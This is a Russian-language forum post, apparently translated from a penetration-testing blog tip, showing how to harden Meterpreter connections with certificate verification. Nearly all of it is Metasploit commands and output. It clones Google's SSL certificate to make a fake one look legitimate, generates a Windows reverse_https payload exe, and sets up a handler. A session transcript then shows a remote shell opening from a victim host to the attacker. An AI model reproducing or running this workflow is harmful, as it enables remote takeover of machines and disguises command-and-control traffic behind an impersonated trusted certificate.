Хочу поделиться с вами простым способом защты вашего подключения через Meterpreter через проверку сертификата. Начнем с генерации сертификата в формате PEM. Огромная благодарность за модуль impersonate_ssl ,созданый Chris John Riley ,который позволяет сгенерировать сертификат на основе информации с сайта, используя параметр RHOST в модуле.Это позволяет создать сертификат, который выглядит полностью легитимным.Приведу пример ,я буду использовать Googles SSL чтобы создать мой фейковый Code: msf > use auxiliary/gather/impersonate_ssl msf auxiliary(impersonate_ssl) > set RHOST www.google.com RHOST => www.google.com msf auxiliary(impersonate_ssl) > run [*] Connecting to www.google.com:443 [*] Copying certificate from www.google.com:443 /C=US/ST=California/L=Mountain View/O=Google Inc/CN=google.com [*] Beginning export of certificate files [*] Creating looted key/crt/pem files for www.google.com:443 [+] key: /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.com_k_189227.key [+] crt: /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.com_c_767214.crt [+] pem: /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.com_p_507862.pem [*] Auxiliary module execution completed msf auxiliary(impersonate_ssl) > После создания сертификата я могу создать HTTP или HTTPS payload и указать ему путь до сертификата в PEM формате ,который будет использован для проверки соединения. Для этого установим параметр stagerverifysslcert в true а в параметре HANDLERSSLCERT укажем путь до сертификата: Code: msf > use payload/windows/meterpreter/reverse_http msf payload(reverse_http) > set stagerverifysslcert true stagerverifysslcert => true msf payload(reverse_http) > use payload/windows/meterpreter/reverse_https msf payload(reverse_https) > set stagerverifysslcert true stagerverifysslcert => true msf payload(reverse_https) > set HANDLERSSLCERT /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.com_p_507862.pem HANDLERSSLCERT => /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.com_p_507862.pem msf payload(reverse_https) > set LHOST 192.168.1.211 LHOST => 192.168.1.211 msf payload(reverse_https) > set LPORT 8081 LPORT => 8081 msf payload(reverse_https) > generate -t exe -f /tmp/payload1.exe [*] Writing 73802 bytes to /tmp/payload1.exe... После создания exe мне нужно создать соединение и снова я использую ,как в примере выше,PEM сертификат.Так что соединение использует SHA1 хэш для проверки подлинности. Снова укажем в параметре HANDLERSSLCERT путь до сертификата ,а параметр stagerverifysslcert установим в true: Code: msf payload(reverse_https) > use exploit/multi/handler msf exploit(handler) > set LHOST 192.168.1.211 LHOST => 192.168.1.211 msf exploit(handler) > set LPORT 8081 LPORT => 8081 msf exploit(handler) > set HANDLERSSLCERT /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.com_p_507862.pem HANDLERSSLCERT => /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.com_p_507862.pem msf exploit(handler) > set stagerverifysslcert true stagerverifysslcert => true msf exploit(handler) > exploit -j [*] Meterpreter will verify SSL Certificate with SHA1 hash 5fefcc6cae228b92002a6d168c5a78d495d8c884 [*] Exploit running as background job. После запуска пейлода на удаленой системе, мы увидим вертифицированую проверку сессии Code: msf exploit(handler) > [*] Starting the payload handler... [*] 192.168.1.104:56107 (UUID: db09abc1d1831687/x86=1/windows=1/2015-06-11T12:28:50Z) Staging Native payload ... [*] Meterpreter will verify SSL Certificate with SHA1 hash 5fefcc6cae228b92002a6d168c5a78d495d8c884 [*] Meterpreter session 1 opened (192.168.1.211:8081 -> 192.168.1.104:56107) at 2015-06-11 08:28:51 -0400 http://www.darkoperator.com/blog/2015/6/14/tip-meterpreter-ssl-certificate-validation